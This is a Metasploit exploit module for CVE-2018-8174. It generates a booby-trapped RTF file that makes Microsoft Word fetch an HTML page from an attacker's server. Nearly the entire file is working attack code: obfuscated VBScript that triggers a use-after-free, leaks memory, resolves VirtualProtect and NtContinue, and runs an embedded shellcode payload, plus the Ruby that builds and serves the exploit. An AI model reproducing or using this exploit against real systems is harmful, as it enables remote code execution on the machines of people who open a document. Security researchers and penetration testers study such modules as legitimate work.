class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::HttpServer::HTML
  
    def initialize(info = {})
      super(update_info(info,
        'Name'           => "Microsoft Office CVE-2018-8174",
        'Description'    => %q{
          This module creates a malicious RTF file that when opened in
          vulnerable versions of Microsoft Word will lead to code execution.
        },
        'Author'         =>
          [
            'Random APT ?', # Vulnerability discovery and exploit
            '0x09AL', # Module developer
          ],
        'License'        => MSF_LICENSE,
        'References'     => [
          ['CVE', 'CVE-2018-8174'],
          ['URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2018-8174-and-Forcing-Internet-Explorer-Exploits/'],
          ['URL', 'https://securelist.com/root-cause-analysis-of-cve-2018-8174/85486/'],
	  ['URL', 'https://github.com/smgorelik/Windows-RCE-exploits/tree/master/Web/VBScript']	
        ],
        'Platform'       => 'win',
        'Targets'        =>
          [
            [ 'Microsoft Office Word 32-bit', {} ]
          ],
        'DefaultOptions' =>
          {
            
            'EXITFUNC' => 'thread',
          },
        'DefaultTarget'  => 0,
        'Privileged'     => false,
        'DisclosureDate' => 'Late April 2018'))
  
      register_options([
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.rtf']),
        OptString.new('URIPATH',  [ true, 'The URI path to use', '/'])
      ])
    end
  	def build_ie_exploit

  		encoded_payload = Rex::Text.to_unescape(payload.encoded)

  	# build html
		    content = <<-HTML

					<!doctype html>
					<html lang="en">
					<head>
					<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
					<meta http-equiv="x-ua-compatible" content="IE=10">
					<meta http-equiv="Expires" content="0">
					<meta http-equiv="Pragma" content="no-cache">
					<meta http-equiv="Cache-control" content="no-cache">
					<meta http-equiv="Cache" content="no-cache">
					</head>
					<body>
					<script language="vbscript">
					Dim lIIl
					Dim IIIlI(6),IllII(6)
					Dim IllI
					Dim IIllI(40)
					Dim lIlIIl,lIIIll
					Dim IlII
					Dim llll,IIIIl
					Dim llllIl,IlIIII
					Dim NtContinueAddr,VirtualProtectAddr

					IlII=195948557
					lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
					lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
					IllI=195890093
					Function IIIII(Domain) 
						lIlII=0
						IllllI=0
						IIlIIl=0
						Id=CLng(Rnd*1000000)
						lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
						If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
							lIlII=lIlII-(&h86d+6447-&H219b)
						End If

						IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
						IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
						IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII
					End Function

					Function lIIII(ByVal lIlIl)
						IIll=""
						For index=0 To Len(lIlIl)-1
							IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
						Next
						IIll=IIll &"00"
						If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
							IIll=IIll &"00"
						End If
						For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
							lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
							lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))
							lIIII=lIIII &"%u" &lIlIll &lIIIlI
						Next
					End Function
					Function lIlI(ByVal Number,ByVal Length)
						IIII=Hex(Number)
						If Len(IIII)<Length Then
							IIII=String(Length-Len(IIII),"0") &IIII    
						Else
							IIII=Right(IIII,Length)
						End If
						lIlI=IIII
					End Function
					Function GetUint32(lIII)
						Dim value
						llll.mem(IlII+8)=lIII+4
						llll.mem(IlII)=8		
						value=llll.P0123456789
						llll.mem(IlII)=2
						GetUint32=value
					End Function
					Function IllIIl(lIII)
						IllIIl=GetUint32(lIII) And (131071-65536)
					End Function
					Function lllII(lIII)
						lllII=GetUint32(lIII)  And (&h17eb+1312-&H1c0c)
					End Function
					Sub llllll
					End Sub
					Function GetMemValue
						llll.mem(IlII)=(&h713+3616-&H1530)
						GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))
					End Function
					Sub SetMemValue(ByRef IlIIIl)
						llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl
					End Sub
					Function LeakVBAddr
						On Error Resume Next
						Dim lllll
						lllll=llllll
						lllll=null
						SetMemValue lllll
						LeakVBAddr=GetMemValue()
					End Function
					Function GetBaseByDOSmodeSearch(IllIll)
						Dim llIl
						llIl=IllIll And &hffff0000
						Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692
							llIl=llIl-65536
						Loop
						GetBaseByDOSmodeSearch=llIl
					End Function
					Function StrCompWrapper(lIII,llIlIl)
						Dim lIIlI,IIIl
						lIIlI=""
						For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
							lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
						Next
						StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))
					End Function
					Function GetBaseFromImport(base_address,name_input)
						Dim import_rva,nt_header,descriptor,import_dir
						Dim IIIIII
						nt_header=GetUint32(base_address+(&h3c))
						import_rva=GetUint32(base_address+nt_header+&h80)
						import_dir=base_address+import_rva
						descriptor=0
						Do While True
							Dim Name
							Name=GetUint32(import_dir+descriptor*(&h14)+&hc)
							If Name=0 Then
								GetBaseFromImport=&hBAAD0000
								Exit Function
							Else
								If StrCompWrapper(base_address+Name,name_input)=0 Then
									Exit Do
								End If
							End If
							descriptor=descriptor+1
						Loop
						IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
						GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
					End Function

					Function GetProcAddr(dll_base,name)
						Dim p,export_dir,index
						Dim function_rvas,function_names,function_ordin
						Dim Illlll
						p=GetUint32(dll_base+&h3c)
						p=GetUint32(dll_base+p+&h78)
						export_dir=dll_base+p

						function_rvas=dll_base+GetUint32(export_dir+&h1c)
						function_names=dll_base+GetUint32(export_dir+&h20)
						function_ordin=dll_base+GetUint32(export_dir+&h24)
						index=0
						Do While True
							Dim lllI
							lllI=GetUint32(function_names+index*4)
							If StrCompWrapper(dll_base+lllI,name)=0 Then
								Exit Do
							End If
							index=index+1
						Loop
						Illlll=IllIIl(function_ordin+index*2)
						p=GetUint32(function_rvas+Illlll*4)
						GetProcAddr=dll_base+p
					End Function

					Function GetShellcode()
						IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("#{encoded_payload}" &lIIII(IIIII("")))
						IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
						GetShellcode=IIlI
					End Function
					Function EscapeAddress(ByVal value)
						Dim High,Low
						High=lIlI((value And &hffff0000)/&h10000,4)
						Low=lIlI(value And &hffff,4)
						EscapeAddress=Unescape("%u" &Low &"%u" &High)
					End Function
					Function lIllIl
						Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
						IlllI=lIlI(NtContinueAddr,8)
						IlIII=Mid(IlllI,1,2)
						llllI=Mid(IlllI,3,2)
						llIII=Mid(IlllI,5,2)
						lIllI=Mid(IlllI,7,2)
						IIlI=""
						IIlI=IIlI &"%u0000%u" &lIllI &"00"
						For IIIl=1 To 3
							IIlI=IIlI &"%u" &llllI &llIII
							IIlI=IIlI &"%u" &lIllI &IlIII
						Next
						IIlI=IIlI &"%u" &llllI &llIII
						IIlI=IIlI &"%u00" &IlIII
						lIllIl=Unescape(IIlI)
					End Function
					Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 
						Dim IIlI
						IIlI=String((100334-65536),Unescape("%u4141"))
						IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
						IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
						IIlI=IIlI &EscapeAddress(&h3000)
						IIlI=IIlI &EscapeAddress(&h40)
						IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
						IIlI=IIlI &String(6,Unescape("%u4242"))
						IIlI=IIlI &lIllIl()
						IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))
						WrapShellcodeWithNtContinueContext=IIlI
					End Function
					Function ExpandWithVirtualProtect(lIlll)
						Dim IIlI
						Dim lllllI
						lllllI=lIlll+&h23
						IIlI=""
						IIlI=IIlI &EscapeAddress(lllllI)
						IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141"))
						IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
						IIlI=IIlI &EscapeAddress(&h1b)
						IIlI=IIlI &EscapeAddress(0)
						IIlI=IIlI &EscapeAddress(lIlll)
						IIlI=IIlI &EscapeAddress(&h23)
						IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343"))
						ExpandWithVirtualProtect=IIlI
					End Function
					Sub ExecuteShellcode
						llll.mem(IlII)=&h4d 
						llll.mem(IlII+8)=0
					    msgbox(IlII)		
					End Sub

					Class cla1
					Private Sub Class_Terminate()
						Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
						IllI=IllI+(&h14b5+2725-&H1f59)
						lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)
					End Sub

					End Class

					Class cla2
					Private Sub Class_Terminate()
						Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
						IllI=IllI+(&h880+542-&Ha9d)
						lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)
					End Sub
					End Class

					Class IIIlIl
					End Class

					Class llIIl
					Dim mem
					Function P
					End Function
					Function SetProp(Value)
						mem=Value
						SetProp=0
					End Function
					End Class

					Class IIIlll
					Dim mem
					Function P0123456789
						P0123456789=LenB(mem(IlII+8))
					End Function
					Function SPP
					End Function
					End Class

					Class lllIIl
					Public Default Property Get P
					Dim llII
					P=174088534690791e-324
					For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
						IIIlI(IIIl)=(&h2176+711-&H243d)
					Next
					Set llII=New IIIlll
					llII.mem=lIlIIl
					For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
						Set IIIlI(IIIl)=llII
					Next
					End Property
					End Class

					Class llllII
					Public Default Property Get P
					Dim llII
					P=636598737289582e-328
					For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)
						IllII(IIIl)=(&h442+2598-&He68)
					Next
					Set llII=New IIIlll
					llII.mem=lIIIll
					For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)
						Set IllII(IIIl)=llII
					Next
					End Property
					End Class

					Set llllIl=New lllIIl
					Set IlIIII=New llllII
					Sub UAF
						For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)
							Set IIllI(IIIl)=New IIIlIl
						Next
						For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)
							Set IIllI(IIIl)=New llIIl
						Next
						IllI=0
						For IIIl=0 To 6
							ReDim lIIl(1)
							Set lIIl(1)=New cla1
							Erase lIIl
						Next
						Set llll=New llIIl
						IllI=0
						For IIIl=0 To 6
							ReDim lIIl(1)
							Set lIIl(1)=New cla2
							Erase lIIl
						Next
						Set IIIIl=New llIIl
					End Sub
					Sub InitObjects
						llll.SetProp(llllIl)
						IIIIl.SetProp(IlIIII)
						IlII=IIIIl.mem
					End Sub

					Sub StartExploit
						UAF
						InitObjects
						vb_adrr=LeakVBAddr()
						vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
						msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
						krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
						ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
						VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
						NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
						SetMemValue GetShellcode()
						ShellcodeAddr=GetMemValue()+8
						SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
						lIlll=GetMemValue()+69596
						SetMemValue ExpandWithVirtualProtect(lIlll)
						llIIll=GetMemValue()
						ExecuteShellcode
					End Sub
					StartExploit
					</script>
					</body>
					</html>
		    HTML
		 	content
  	end
  
    def create_rtf_file
    	
    	template_path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2018-8174.rtf")
      	template_rtf = ::File.open(template_path, 'rb')
      	data = template_rtf.read(template_rtf.stat.size)

    	host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
        scheme = datastore['SSL'] ? 'https' : 'http'
    	url = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}"
 		
 		normal_url = Rex::Text.hexify(url)
 		unicode_url = Rex::Text.hexify(url)
 		unicode_url = "#{unicode_url[2..-1]}"
 		# Replaces the \x with 00 to make it compatible.
 		unicode_url.gsub!('\\x', "00")
 		unicode_url.delete!("\n")
 		

 		# Strips the \x from the hex to make it comaptible with word
 		normal_url.delete!("\n")
        normal_url.delete!("\\x")
        normal_url.delete!("\\")

        # Finds the padding size
 		padding_size = (78 - normal_url.length)
 		
 		
 		
 		normal_url << "0" * padding_size

 		padding_size = (154 - unicode_url.length)
 		unicode_url << "0" * padding_size

 		

 		

 		# Replaces the data 
 		data.gsub!('NORMAL_URL', normal_url)
 		data.gsub!('UNICODE_URL', unicode_url)
 		fail_with(Failure::BadConfig, "Url length exceeds 78 bytes ") if normal_url.length > 78
      data
    end
  
    def on_request_uri(cli, req)
     print_status("Delivering Exploit")
     hta_payload = regenerate_payload(cli)
     send_response(cli, build_ie_exploit, 'Content-Type' => 'text/html')
    end
  
    def exploit
      file_create(create_rtf_file)
      super
    end
  end
